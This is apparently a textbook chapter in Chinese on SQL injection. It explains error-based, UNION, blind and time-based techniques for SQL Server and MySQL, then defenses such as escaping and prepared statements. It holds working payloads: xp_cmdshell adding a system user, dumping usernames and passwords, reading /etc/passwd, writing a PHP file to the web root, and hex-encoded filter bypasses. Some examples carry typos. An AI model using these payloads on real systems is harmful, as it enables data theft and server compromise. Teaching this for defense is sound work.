SQL隱碼攻擊漏洞分類
分為:數字型和字元型
數字型注入:在弱型別語言中容易產生該類漏洞,如ASP、PHP。
強型別語言中如果試圖將一個字元型轉換為int型,則會丟擲異常,無法繼續執行,如JAVA、C#等。
所以在強型別語言中很少存在數字型注入漏洞。
判定如型別語言的 數字型注入漏洞三步走:
前提:假設有URL為HTTP://www.xxser.com/test.php?id=8,可以猜測其SQL為select * from table where id=8
測試步驟:
1、HTTP://www.xxser.com/test.php?id=8'
SQL語句為HTTP://www.xxser.com/test.php?id=8',這樣的語句肯定會出錯,
導致指令碼程式無法從資料庫中獲取正常資料,從而是原來的頁面出現異常。
2、HTTP://www.xxser.com/test.php?id=8 and 1=1
SQL語句為select * from table where id=8 and 1=1,語句執行正常,返回資料與原始請求無差異。
3、HTTP://www.xxser.com/test.php?id=8 and 1=2
SQL語句變為select * from table where id=8 and 1=2,語句執行正常,但卻無法查詢出資料,
因為“1=2”始終為假。所以返回資料與原始請求有差異。
如果以上三個步驟全部滿足,則程式就可能存在SQL隱碼攻擊漏洞。
字元型注入:輸入引數為字元時,成為字元型
數字型和字元型的區別在於,數字型不需要單引號閉合,而字串型別一般要使用單引號來閉合。
數字型例句:select * from table where id=8
字元型例句:select * from table where username='admin'
字元型注入最關鍵的在於如何閉合SQL語句以及註釋掉多餘的程式碼。
例如:
當查詢內容為字串時,SQL程式碼如下:
select * from table where username='admin'
當攻擊者進行SQL隱碼攻擊時,如果過輸入“amdin and 1=1”,則無法進行注入。
因為“amdin and 1=1” 會被資料庫當做查詢條件字串來處理,SQL如下:
selec * from table where username = 'admin and 1=1'
這時想要進行注入,則必須注意字串閉合問題。如果輸入“admin ’and 1=1 --”就可以繼續注入,SQL如下:
select * from table where username ='admin' and 1=1 --'
只要會字串型別注入,都必須閉合單引號以及註釋掉多餘的程式碼。例如,uodate語句:
update Person set username='username' ,set password='password' where id=1
現在對該語句進行注入,就需要閉合單引號,可以在username或者password處插入語句為:
"'+(select @@version)+'",
最終的執行語句為:
update Person set username='username', set password=''+(select @@version)+ '' where id =1
利用兩次單引號閉合才能完成SQL隱碼攻擊
注:資料庫不同,字串連線符也不同,
如SQL Server 連線符號為“+”,Oracle連線符號為“||”,Mysql的連線符號為空格。
例如Insert語句:
Insert into users (username,password,title) values('username', 'password','titile')
當注入title欄位時,可以像update一樣,直接使用一下SQL語句:
Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')
SQL隱碼攻擊型別
總體來講還是分為兩類,數字型和字元型
注入欄位在不同的位置,產生一些常見的注入叫法:
POST注入:注入欄位在POST資料中
Cookie注入:注入欄位在Cookie資料中
延時注入:使用資料庫延時特性注入
搜尋注入:注入處為搜尋的地點
base64注入:注入字串需要經過base64加密
常見的資料庫注入
資料庫:Oracle11g,MySQL5.1,SQL Server 2008
方式:查詢資料,讀寫檔案,執行命令
針對資料庫的注入無非都是上面三件事。
5.3.1、SQL Server
1、利用錯誤訊息提取資訊
SQL Server對錯誤資訊的定位十分準確,對開發是好事兒,對攻擊者也是不錯的。
1.1 列舉當前表和列
在查詢sql中插入如下語句: 'having 1=1--
select * from users where username='root' and password='root' having 1=1 --'
這樣SQL執行器會報錯,選擇列表中的列’users.id‘無效,因為該列沒有包含在聚合函式或group By子句中。
這樣攻擊者可以利用此特性繼續找到其他的列明,輸入SQL如下:
select * from users where username='root' and password='root' group by users.id having 1=1 --
1.2 利用型別錯誤提取資料
試圖利用不同型別欄位之間的比較,使得sql編譯器丟擲異常,獲取資訊,如下SQL:
select * from users where username='root' and password='root'
and 1 > (select top 1 username from users)
執行器錯誤提示:
在將varchar值’root‘轉換成資料型別int時失敗,這樣就暴露了root這個賬戶,一次遞迴會發現所有的賬戶
select * from users where username='root' and password='root' and
1>(select top 1 username from users where username not in ('root'))
如果不巢狀子查詢,也同樣可以達到目的,需要用到SQL Server的內建函式CONVERT或者CASE函式,
這兩個函式的功能是:將一種資料型別 轉轉為另一種資料型別。
輸入如下SQL語句:
select * from users where username='root' and password='root'
and 1=convert(int ,(select top 1 users.username from users))
如果感覺遞迴比較麻煩,可以通過FOR XML PATH語句將查詢的資料生成XML,SQL語句如下:
select* from users where username='root' and password='root'
AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +
users.password from users for xml path ('')),1,1,'')))
2、獲取後設資料
SQL Server提供大量的檢視,便於取得後設資料。下面使用information_schema.tables 與
information_schema.columns檢視取得資料庫表以及表的欄位。
取得當前資料庫表:
select table_name from infromation_schema.tables
取得表Student表欄位:
select columnname from information_schema.columns where table_name='Student'
還有其他的一些檢視:
sys.databases:SQL Server中所有的資料庫
sys.sql_logins:SQL Server所有登入名
information_schema.tables:當前使用者資料庫中的表
information_schema.columns:當前使用者資料庫中的列
sys.all_columns:使用者定義物件和系統物件的所有列的聯合
sys.databases_principals:資料庫中每個許可權或列異常許可權
sys.databases_files:儲存在資料庫中的資料庫檔案
sysobjects:資料庫中建立的每個物件,例如:約束、日誌 以及儲存過程
3、Orderby子句
為SELECT查詢的列排序,如果同時指定了TOP關鍵字,Order by子句在檢視、行內函數、派生表和子查詢中無效。
攻擊者通常會通過注入Order by語句來判斷此表的列數。
SQL語句:
1 、select id,username,password, from users where id=1 -------SQL執行正常
2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL執行正常
3、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL執行正常
4、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL執行正常
5、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL執行異常
錯誤提示:Order by 位置號 4 超出了選擇列表中相熟的範圍
這樣攻擊者得知當前SQL語句有幾列,隨後會配合union關鍵字進行下一步的攻擊
4、Union查詢
union關鍵字將兩個或者更多個查詢結果組合為單個結果集,俗稱聯合查詢。
使用union合併兩個查詢結果集的基本規則:
1、所有查詢中的列數必須相同
2、資料型別必須相容
例如,聯合查詢探測欄位數
前面介紹的USERS表,查詢ID欄位為1 的使用者,正常的SQL語句
select id ,username,password from users where id=1
使用Union查詢對id欄位注入,SQL語句如下:
select id,username,password,sex from users where id=1 union select null
資料庫發生異常,:使用union,intersect或者except運算子合並的所有查詢必須再起目標列中有相同的表示式
遞迴查詢,知道無錯誤差生,可得知User表查詢的欄位數
union select null,null
union select null,null,null
也有人喜歡使用select 1,2,3語句,不過該語句容易出現型別不相容的異常。
例二:聯合查詢敏感資訊
上面例子介紹如何獲取欄位數,接下來曝光攻擊者如何使用union關鍵字查詢敏感資訊,
union查詢可以在SQL隱碼攻擊中發揮非常大的作用。
得知四列後,可以使用一下語句繼續注入:
id=5 union select 'x',null,null,null from stsobject where xtype='U'
如果資料型別不匹配,資料庫會報錯,這是可以繼續遞迴查詢,知道語句正常執行為止。
語句執行正常,代表資料型別相容,就可以將x替換為SQL語句,查詢敏感資訊。
union和union all 最大的區別在於union會自動去除重複的資料,並且按照預設規則排序。
5、無辜的函式
SQL Server存在一些系統函式,利用系統函式可以方位SQL Server系統表中的資訊。
select suser_name();返回使用者的登陸標識號
select user_name():基於指定的標識號返回資料庫的使用者名稱
select db_name():返回資料庫名稱
select is_member('db_owener'):是否為資料庫角色
select convert(int,'5'):資料型別轉換
SQL Server常用函式:
stuff:字串擷取函式
ascii:取ASCII碼
char:根據ASCII碼取字元
getdate:返回日期
count:返回卒中的總條數
cast:將一種資料型別的表示式顯示的轉換成另一種資料型別的表示式
rand:返回隨機值
is_srvrolemember:只是SQL Server登入名是否為指定伺服器角色的成員
6、危險的儲存過程
儲存過程(Stored Procedure) 是在大型資料庫系統中為了完成特定功能的一組SQL“函式”。
如執行系統命令,檢視登錄檔,讀取磁碟目錄等。
攻擊者最常使用的儲存過程是 xp_cmdshell,這個儲存過程允許使用者執行作業系統命令。例如:
http://demo.testfire.net/test.aspx?id=1 存在注入點,那麼攻擊者可以試試攻擊:
http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'
最終執行的SQL語句如下:
select * from table where id=1;exec xp_cmdshell 'bet user test test /add'
攻擊者可以直接利用xp_cmdshell操作伺服器。
注:只有持有control server 許可權的使用者才能使用此類儲存過程。
常見的儲存過程:
sp_addlogin:建立新的SQL Server登入,該登入允許使用者使用SQL Server身份驗證連線到SQL Server例項
sp_dropuser:從當前資料庫中刪除資料庫使用者
xp_enumgroups:提供Windows本地組列表或指定的Windows域中定義的全域性組列表
xp_regwrite:違背公佈的儲存過程,寫入登錄檔
xp_regread:讀取之策表
xp_regdeletevalue:刪除登錄檔
xp_dirtree:讀取目錄
sp_password:更改密碼
xp_servicecontrol:停止或啟用某服務
另外,任何一種資料庫在使用一些特殊的函式或者儲存過程時,都需要特定的許可權,否則無法使用。
SQL Server資料庫的覺得與許可權如下:
bulkadmin:執行BULK INSERT語句
dbcreator:建立,更改,刪除和還原任何資料庫
diskadmin:管理磁碟檔案
processadmin:可以終止在資料庫引擎中例項中執行的程式
securityadmin:管理登入名及其屬性。可以利用grant,deny和revoke伺服器級別的許可權,
還可以利用grant,deny,和revoke資料庫級別的許可權,還可以重置SQL Server登入名的密碼
serveradmin:可以更改伺服器範圍的配置選項和關閉伺服器
setupadmin:可以新增或刪除連結伺服器,並可以執行某些系統儲存過程
sysadmin:角色成員可以在資料庫引擎中執行任何活動。
預設情況下Windows BUILTIN\Administrator組的所有成員都是sysadmin固定伺服器角色的成員。
7、動態執行
SQL Server支援動態執行語句,使用者可以通過提交字串來執行SQL語句,例如:
exec('select username,password from users')
exec('selec'+'t username ,password fro' + 'm users')
由於大部分Web應用程式防火牆都過濾了單引號,利用exec執行十六進位制SQL語句並不存在單引號,
這一特殊性可以突破很多防火牆及防注入程式,如:
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
或者:
declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
5.3.2、MySQL
資料庫的注入過程基本上是型別,不同的是各個資料的一些使用函式或語句有些差異,
如,檢視資料庫SQL Server使用函式@@version,而MySQL是version()。
1、MySQL中的註釋
#:註釋從 # 字元到行尾
--:註釋從 --序號到行尾,需要注意的是,使用此註釋時,後面需要跟上一個或者多個空格或tag都可以
/**/:註釋從/*序列到*/序列中間的字元,其中/**/註釋存在一個特點
select id /*!5555, username */ from users
執行結果中發現/**/註釋沒有起到作用,語句正常執行。其實這不是註釋,而是/*!*/,感嘆號是有特殊意義的,
如/*!5555,username*/的意思是
若MySQL的版本號高於或者等於5.55.55,語句將會被執行,如果!後面不加版本號,MySQL將會直接執行SQL語句。
2、獲取後設資料
MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是資訊資料庫,
它提供了訪問資料庫後設資料的方式。下面介紹如果從中讀取資料庫名稱、表名稱、列名稱。
1、查詢使用者資料庫名稱
select schema_name from information_schema.shemata limit 0,1
--從information_schema.shemata表中查詢第一個資料庫名稱
2、查詢當前資料庫表
select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1
--查詢當前資料庫表,只顯示第一條資料
3、查詢指定表的所有欄位
select column_name from information_schema.columns where table_name='Student' limit 0,1
-- 查詢 table_name為Student的欄位名
3、UNION查詢
MySQL的官方解釋union查詢 用於吧來自許多的select語句的結果組合到一個結果集中,且每列的資料型別必須相同。
MySQL和Oracle不像SQL Server那樣可以執行多語句,所以在利用查詢是,通常配合union關鍵字。
MySQL和SQL Server中執行:
select id ,username,password from users union select 1,2,3
Oracle中執行:
select id ,username,password from users union select 1,2,3 from dual
執行後,SQL Server和Oracle 報錯,資料型別不匹配,無法正常執行,MySQL語句正常執行。
由此返現,在Oracle和SQL Server中,列的資料型別在不確定的情況下,最好使用NULL關鍵字匹配。
注意:1、UNION 結果集中的列名總是等於第一個 SELECT 語句中的列名
2、UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的資料型別。同時,每條 SELECT 語句中的列的順序必須相同
MySQL的Group by
group by語法可以根據給定資料列的每個成員對查詢結果進行分組統計,最終得到一個分組彙總表
SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT
注意:
必須在group子句之前指定where子句,
在SELECT語句中指定的每個列名也在GROUP BY子句中提到。未在這兩個地方提到的列名將產生錯誤。
在group by子句後使用HAVING子句,HAVING子句可包含一個或多個用AND和OR連線的謂詞,
HAVING 子句基本上總是包含聚集函式
如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1
先用group by 對email進行分組,在用having來過濾大於1的,這樣查詢出來的就是重複的記錄了.
WHERE 子句作用於表和檢視,HAVING 子句作用於組。
4、MySQL函式利用
1、load_file()函式讀取檔案操作
檔案必須在伺服器上,檔案的路徑必須為絕對路徑(全路徑),而且使用者必須持有FILE許可權,檔案容量也必須小於 max_allowed_packet位元組(預設16MB,最大1GB)
SQL語句,union select 1, load_file('/etc/password'),3,4,5,6 #
通常,一些防注入語句不允許單引號出現,那麼使用一下語句繞過:
union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#
0x2F6563742F706173737764為/etc/password十六進位制的轉換結果,或者使用:
union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #
在SQL隱碼攻擊中,將會經常出現使用函式組合來達到某種目的,例如,在瀏覽器返回資料時,有可能出現亂碼問題,那麼可以使用hex()函式將字串轉換為十六進位制資料:
select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));
2、into outfile寫檔案操作
MySQL提供向磁碟寫入檔案的操作,與load_file()一樣,必須持有FILE許可權,並且檔案必須為全路徑名稱。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
3、連線字串
在MySQL中如果需要一次性查詢多個資料,可以使用concat()或concat_ws()函式
3.1、concat()函式
select name from users where id=1 union select concat(user(),',',database(),',',version());
結果如下:
+*********************************************************+
|name |
+**********************************************************+
| admin |
|xxser |
|root@localhost,mychool,5.1.50-community-log|
+**********************************************************+
可以發現,現在三個值已經成為一列,並且以逗號隔開。在concat()函式中的逗號可以用十六進位制表示
concat(user(),0x2c,database(),0x2c,version())
3.2、concat_ws()函式
比concat()函式更簡潔
concat_ws(0x2c,user(),database(),version())
select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());
更多常用函式及說明
函式 | 說明 |
length | 返回字串長度 |
substring | 擷取字串長度 |
asscii | 返回ASCII碼 |
hex | 把字串轉換 為十六進位制 |
now | 當前系統時間 |
unhex | hex的反向操作 |
floor(x) | 返回不大於x的最大整數值 |
md5 | 返回MD5值 |
group_concat | 返回帶有來自一個組的連線的非NULL值的字串結果 |
@@datadir | 讀取資料庫路徑 |
@@basedir | MySQL安裝路徑 |
@@version_complite_os | 作業系統 |
user | 使用者名稱 |
current_user | 當前使用者名稱 |
system_user | 系統使用者名稱 |
database | 資料庫名 |
version | MySQL資料庫版本 |
5、MySQL顯錯式注入
顯錯式注入,即利用資料庫的報錯資訊提取訊息。
6、寬位元組注入
是由編碼不統一造成的,這種注入一般出現在PHP+MySQL中。
7、MySQL長字元擷取
在預設情況下,如果輸入資料超過預設長度,MySQL會將其截斷。
8、延時注入
由於網站技術的不斷提升,在url中新增什麼語句都不會有變化,只能通過盲注判斷,盲注即頁面無差異的注入。
延時注入屬於盲注的一種,是一種基於時間差異的注入技術,下面以MySQL為例,主要講一下延時注入
在MySQL中有一個函式:SLEEP(duration),這個函式的意思是在duration引數給定的秒數後執行語句,如下sql:
select * from users where id=1 and sleep(3); /*三秒後執行SQL語句*/
知道了sleep函式可以延時後,那就可以使用這個函式來判斷URL是否存在SQL隱碼攻擊漏洞,步驟如下:
1、http://www.secbug.com/user.jsp?id=1 //頁面返回正常,1秒左右開啟介面
2、http://www.secbug.com/user.jsp?id=1 ' //頁面返回正常,1秒左右可以開啟頁面
3、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //頁面返回正常, 1秒左右可以開啟頁面
4、http://www.secbug.com/user.jsp?id=1 and sleep(3) //頁面返回正常,3秒左右可以開啟頁面
通過頁面返回的時間可以斷定,DBMS執行了and sleep(3)語句,這樣一來,就可以判斷出URL確實存在SQL漏洞。
通過sleep函式可以判斷出注入點,那麼能讀出資料嗎?
答案是肯定可以的,但是需要與其他函式配合使用,下面就是通過延時韓式注入讀取當前MySQL使用者的例子。
思路:
1、查詢當前使用者,並取得字串長度
2、擷取字串的第一個字元,並轉換為ASCII碼
3、將第一個字讀的ascii碼與ASCII碼錶對比,如果過比對成功則延時3秒
4、繼續步驟2/3,直至字串擷取完畢
對應的SQL語句如下:
1、and if(length(user())=0, sleep(3),1)
迴圈0,如果出現3秒延遲,就可以判斷出user字串長度,注入時通常會採用半折演算法減少判斷。
2、and if(hex(mid(user(),1,1))=1, sleep(3),1)
取出user字串的第一個字元,然後與ASCII碼錶迴圈對比
3、and if(hex(mid(user(),L,1))=N,sleep(3),1)
遞迴破解第二個ASCII碼,第三四五個ASCII碼
同理,既然通過延時注入可以讀取資料庫當前MySQL使用者,那麼讀取表、列、檔案都是可以實現的。
注:L是位置代表字串的第幾個字元,N的位置代表ASCII碼。
SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函式。
5.4、注入工具
SQLMap,pangolin,Havij
5.5、防止SQL隱碼攻擊
SQL隱碼攻擊的問題最終歸於使用者可以控制輸入,SQL隱碼攻擊、xss、檔案包含、命令執行都可歸於此。
有輸入的地方就可能存在風險。簡單粗暴的方式:
禁止或者過濾掉單引號,問題是外國人的名字中有單引號,數字型注入也不一定會使用單引號
禁止輸入查詢語句,如select,insert,union關鍵字,問題是可以通過註釋繞過關鍵字,
如sel/**/ect等,對註釋進行分割,且不影響資料庫的正常執行。
5.5.1、嚴格的資料型別
Java和C#等強型別語言基本上可以完全忽略數字型注入,例如請求ID為1的新聞,攻擊者想要注入幾乎不可能
5.5.2、特殊字元轉義
通過加強資料型別校驗可以解決數字型的SQL隱碼攻擊,字元型卻不可以,因為他們都是string型別,你無法判斷輸入是否為惡意攻擊。
對特殊字元轉義--在資料庫查詢字串時,任何字串都需要加上單引號。將這些特殊字元轉義能夠有效防禦字元型SQL隱碼攻擊。
需要轉義的字元參考OWASP ESAPI
在特殊字元轉義過濾SQL隱碼攻擊時,需要注意“二次注入攻擊”
在第一次注入時,將特殊字元轉義,但是在資料庫中儲存時卻沒有‘\’,在第二次查詢時使用單引號匹配注入,如:
第一次插入資料時,單引號被轉義
insert into message(id,title,content) values(3,'secbug\'','secbug.org')
單引號已經被轉義,這樣注入攻擊就無法成功,但,secbug\'在插入資料庫後去沒有了"\",語句如下:
+*****+*****************+*********************+
|id | title | content |
+****+*******************+*******************+
|1 | secbug' | secbug.org |
+****+*******************+*******************+
這樣如果有另一處查詢為:
select id,title,content from message where title='$title'
那麼正宗攻擊就稱為二次SQL隱碼攻擊,比如講title改為
‘ union select 1, @@version 3 --
,目前很多開源系統都存在這樣的問題,第一次不會出現漏洞,但是第二次卻出現了SQL隱碼攻擊漏洞。
5.5.3 使用預編譯語句
Java、C#等語言提供了預編譯語句。
Java中提供了三個介面與資料庫互動,Statement,CallableStatement,PreparedStatement.
Statement用於執行靜態SQL語句,並返回它們所生成的結果物件。
PrepareStatement為Statement子類,表示預編譯SQL語句物件。
CallableStatement為PrepareStatement的子類,用於執行SQL儲存過程。
雖然PrepareStatement介面是安全的,但是如果使用動態拼接SQL語句,那就會失去它的安全性。
想要使PrepareStatement防禦SQL隱碼攻擊,必須使用它提供的setter方法(setShort、setString等)。
5.5.4、框架技術
在眾多框架中,有一類框架專門與資料庫打交道,被稱為持久層框架,比如Hibernate,MyBatis,JORM。
簡要介紹Hibernate:
Hibernate是一個開原始碼的ORM(物件關係對映)框架,他對JDBC進行非常輕量級的物件封裝,
是的Java程式要可以隨心所欲的神勇物件導向思維運算元據庫。
Hibernate是跨平臺的,幾乎不需要修改SQL語句即可適用於各種資料庫,
它的安全性較高,但也同樣存在注入,這類物件關係對映框架注入也被稱為ORM注入。
Hibernate自定義的SQL語言叫作HQL,是一種物件導向的查詢語言。
使用此語言時千萬不要使用動態拼接的方式組成SQL語句,否則可能造成SQL隱碼攻擊。
5.5.5、儲存過程(Stored Procedure)
在儲存過程中直接使用exec執行SQL語句,這和直接寫select* from Student where StudentNo=id 沒有區別,傳入引數3 or 1=1
將查詢出全部資料,造成SQL隱碼攻擊漏洞。例如:
create proc findUserId @id varchar(100)
as
exec('select * from Student where StudentNo= ' +@id);
go
改進為:
create proc findUserId @id varchar(100)
as
select * from Student where StudentNo=@id
go
引數3 or 1=1,SQL執行器丟擲錯誤:
在將varchar值'3 or 1=1'轉換為資料型別int時失敗。
小結:
SQL隱碼攻擊的危害雖然很大,但是可以完全杜絕,陳旭開發團隊一定要有自己的安全規範模板,因為不可能每個程式設計師都瞭解SQL隱碼攻擊,所以團隊有一套自己的模板後,SQL隱碼攻擊會大大減少。比如碰到SQL語句完全採用PrepareStatement類,且必須用引數繫結,如果這樣還存在SQL隱碼攻擊,那就是某個程式設計師沒有遵循規範,這樣就從安全轉移到程式碼規範的問題上,只要遵循規範,不會有問題,這一方法無論是SQL隱碼攻擊,還是後面的其他漏洞,都適用。